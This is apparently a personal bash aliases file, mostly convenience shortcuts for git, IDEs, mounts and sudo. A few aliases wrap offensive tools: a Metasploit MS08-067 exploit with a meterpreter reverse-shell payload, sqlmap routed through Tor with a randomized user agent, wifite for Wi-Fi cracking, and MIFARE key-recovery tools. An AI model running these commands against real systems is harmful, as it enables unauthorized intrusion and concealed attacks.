alias alert='notify-send --urgency=low -i "$([ $? = 0 ] && echo terminal || echo error)" "$(history|tail -n1|sed -e '\''s/^\s*[0-9]\+\s*//;s/[;&|]\s*alert$//'\'')"' alias cls="clear" alias nano="nano -K" alias l="/bin/ls --color" alias ll="/bin/ls --color -l" alias lla="/bin/ls --color -l -a" alias la="/bin/ls -a --color" alias reload="source ~/.bashrc" alias wakeserv4="wakeonlan -i 192.168.1.255 00:0f:fe:88:94:da" alias shutserv4="ssh serv4 shutdown -hP 0" alias status="git status" alias py="ipython3" alias bashrc="vim ~/.bashrc; reload" alias bashaliases="vim ~/.bash_aliases; reload" alias ddstatusc="while :; do ddstatus; sleep 2; done" alias arpe="arp-scan -I eth0" alias arpw="arp-scan -I wlan0" alias vpnint="service openvpn restart g75-internet" alias vpnintstop="service openvpn stop g75-internet" alias youtube-mp3="youtube-dl --extract-audio --audio-format mp3" alias pull="git pull --rebase" alias st="git status" alias u=up alias p="ping 8.8.8.8" alias telnet='telnet -e ^[' alias reboot-win="grub-reboot 2 && reboot" alias necessitas="~/tools/Qt5.5.0/Tools/QtCreator/bin/qtcreator" alias studio="~/tools/android-studio-latest/bin/studio.sh" alias sqlmap="~/tools/sqlmap-dev/sqlmap.py --proxy=socks5://127.0.0.1:9050 --check-tor --random-agent" alias clion="~/tools/clion-latest/bin/clion.sh" alias datagrip="~/tools/datagrip-latest/bin/datagrip.sh" alias idea="~/tools/idea-latest/bin/idea.sh" alias phpstorm="~/tools/phpstorm-latest/bin/phpstorm.sh" alias rider="~/tools/rider-latest/bin/rider.sh" alias ms4="mount /media/serv4/downloads && cd /media/serv4/downloads" alias ums4="cd && umount /media/serv4/downloads" alias mfc="time mfcuk -C -s 250 -S 250 -v 4 -R" alias mfo="time mfoc" alias git-release="git checkout master && git rebase develop && git p && git checkout develop" alias arduino="~/tools/arduino-1.6.5-r5/arduino" alias arduino1.0="~/tools/arduino-1.0.6/arduino" alias genymotion="~/tools/genymotion/genymotion" alias windows="virtualbox --startvm Windows7" alias vm01="virtualbox --startvm vm01.vpn.rthoni.com" alias vm02="virtualbox --startvm vm02.vpn.rthoni.com" alias gdo="sudo -u gogs" alias gdo-pull="gdo git pull -r" alias cert-check-etc="cert-check /etc/ssl/private $((60 * 60 * 24 * 31))" alias cert-renew-all-etc="cert-renew-all /etc/ssl/private $((60 * 60 * 24 * 31))" alias update-confs="cd ~/confs && git pull -r && reload" alias pycharm="~/tools/pycharm-latest/bin/pycharm.sh" alias xcopy="xclip -selection clipboard" alias ns=nst alias hackxp="msfconsole -x 'use exploit/windows/smb/ms08_067_netapi; set payload windows/meterpreter/reverse_tcp; echo set LHOST my_ip; echo set RHOST target_ip'" alias signal="google-chrome --profile-directory=Default --app-id=bikioccmkafdpakkkcpdbppfkghcmihk" alias slog="tail -f /var/log/syslog" alias devsd="ls /dev | grep sd" alias catlease="cat \$(ps aux | grep dhclient | grep -oE '\-lf [^ ]+' | cut -d' ' -f2)" alias prv-mount="cryptsetup luksOpen ~/keep/private_data private_data && mount /dev/mapper/private_data /media/private_data && cd /media/private_data" alias prv-umount="umount /media/private_data && cryptsetup luksClose private_data" alias ssh-socks="ssh -N -D 127.0.0.1:1080" alias dc="docker-compose" if [ "${EUID}" -ne 0 ] then alias modprobe="sudo modprobe" alias dd="sudo dd" alias reboot="sudo reboot" alias cryptsetup="sudo cryptsetup" alias arp-scan="sudo arp-scan" alias service="sudo service" alias ifconfig="sudo ifconfig" alias ip="sudo ip" alias route="sudo route" alias killall="sudo killall" alias mount="sudo mount" alias umount="sudo umount" alias apt-get="sudo apt-get" alias apt-cache="sudo apt-cache" alias update-rc.d="sudo update-rc.d" alias gparted="sudo gparted" alias svim="sudo vim" alias shut="sudo shutdown -h 0" alias nst="sudo netstat -ntpa | grep LISTEN" alias nsu="sudo netstat -nupa" alias ddstatus="sudo pkill --signal USR1 \"^dd$\"" alias ap="rfkill unblock wifi && sudo ap" alias 3d="sudo /etc/3DxWare/daemon/3dxsrv -d usb" alias wifite="sudo wifite -wept 10000 -wpst 10000 -wpat 10000 -mac -showb" else alias svim="vim" alias shut="shutdown -h 0" alias nst="netstat -ntpa | grep LISTEN" alias nsu="netstat -nupa" alias ddstatus="pkill --signal USR1 \"^dd$\"" alias ap="rfkill unblock wifi && ap" alias 3d="/etc/3DxWare/daemon/3dxsrv -d usb" alias wifite="wifite -wept 10000 -wpst 10000 -wpat 10000 -mac -showb" fi